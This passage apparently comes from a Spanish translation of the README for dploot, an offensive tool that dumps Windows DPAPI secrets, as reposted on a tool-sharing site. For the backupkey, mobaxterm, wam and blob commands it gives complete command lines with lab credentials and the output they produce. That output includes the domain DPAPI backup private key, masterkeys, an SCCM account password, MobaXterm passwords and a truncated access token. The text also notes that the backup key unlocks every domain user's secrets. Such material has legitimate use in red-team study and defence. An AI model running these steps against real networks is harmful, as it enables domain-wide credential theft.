[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SCCM Secrets

[NAA Account] Username: NAAAccount Password: Password!123

[snip]

root@kitploit:~
#### backupkey

El comando **backupkey** recuperará la clave de respaldo DPAPI del dominio desde un controlador de dominio utilizando [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). Esta clave nunca cambia y puede descifrar cualquier secreto protegido por DPAPI de cualquier usuario del dominio. Se requieren privilegios de administrador de dominio.

De forma predeterminada, este comando escribirá la clave de respaldo del dominio en un archivo llamado key.pvk, pero puede cambiarlo con el indicador `outputfile`. También es posible volcar la clave de respaldo heredada con el indicador `legacy`.```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)

[DOMAIN BACKUPKEY V2]

PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}


[-] Exporting domain backupkey to file key.pvk

mobaxterm

El comando mobaxterm extraerá los secretos de MobaXterm y la clave maestra del hive (HKU) y los descifrará con -mkfile FILE de uno o más {GUID}:SHA1, o con -passwords FILE combinación de usuario:contraseña, -nthashes combinación de usuario:nthash o un -pvk PVKFILE para descifrar primero las claves maestras. Si el usuario no está conectado en el objetivo remoto, dploot descargará y extraerá los secretos de NTUSER.dat.

Con pvk:```text dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e

[*] Triage MobaXterm Secrets

[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234

[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883

root@kitploit:~
### wam

El comando **wam** buscará archivos TBRES de Token Broker Cache y descifrará su contenido con `-mkfile FILE` de uno o más {GUID}:SHA1, o con `-passwords FILE` combinación de usuario:contraseña, `-nthashes` combinación de usuario:nthash o un `-pvk PVKFILE` para descifrar primero las claves maestras. 

Con `pvk`:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Triage Office Token Broken Cache for ALL USERS

[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]

Consejos: Puedes encontrar el token de acceso de Microsoft para usuarios de Entra en archivos TBRES.

blob

El comando blob descifrará el blob DPAPI con -mkfile FILE de uno o más {GUID}:SHA1, -masterkey {GUID}:SHA1 o con -passwords FILE combinación de usuario:contraseña, -nthashes combinación de usuario:nthash o un -pvk PVKFILE para descifrar primero las claves maestras.

Con pvk:```text dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]' [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Trying to decrypt DPAPI blob

[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]

Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'

root@kitploit:~
***Consejos***: *Puede encontrar el token de acceso de Microsoft para usuarios de Entra en archivos TBRES.*

## Créditos

Estos proyectos ayudaron mucho a escribir esta herramienta:

- [Impacket](https://github.com/SecureAuthCorp/impacket) por la comunidad
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) por [Harmj0y](https://twitter.com/harmj0y)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) por [gentilkiwi](https://twitter.com/gentilkiwi)
- [DonPAPI](https://github.com/login-securite/DonPAPI) por [LoginSecurite](https://twitter.com/LoginSecurite)
- [WAMBam](https://github.com/xpn/WAMBam) por [_xpn_](https://twitter.com/_xpn_)
Descargar herramienta